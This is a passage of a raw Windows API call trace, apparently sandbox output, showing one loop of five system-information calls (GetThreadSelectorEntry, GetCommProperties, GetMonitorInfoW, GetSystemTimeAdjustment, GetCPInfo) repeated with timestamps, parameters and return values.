lpSelectorEntry=0x18feb8) returned 1 [0124.561] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.561] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.561] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.561] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.562] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.562] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.562] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.562] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.562] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.563] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.563] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.563] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.563] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.563] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.564] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.564] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.564] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.564] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.564] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.565] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.565] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.565] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.565] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.565] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.566] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.566] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.566] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.566] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.566] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.567] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.567] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: 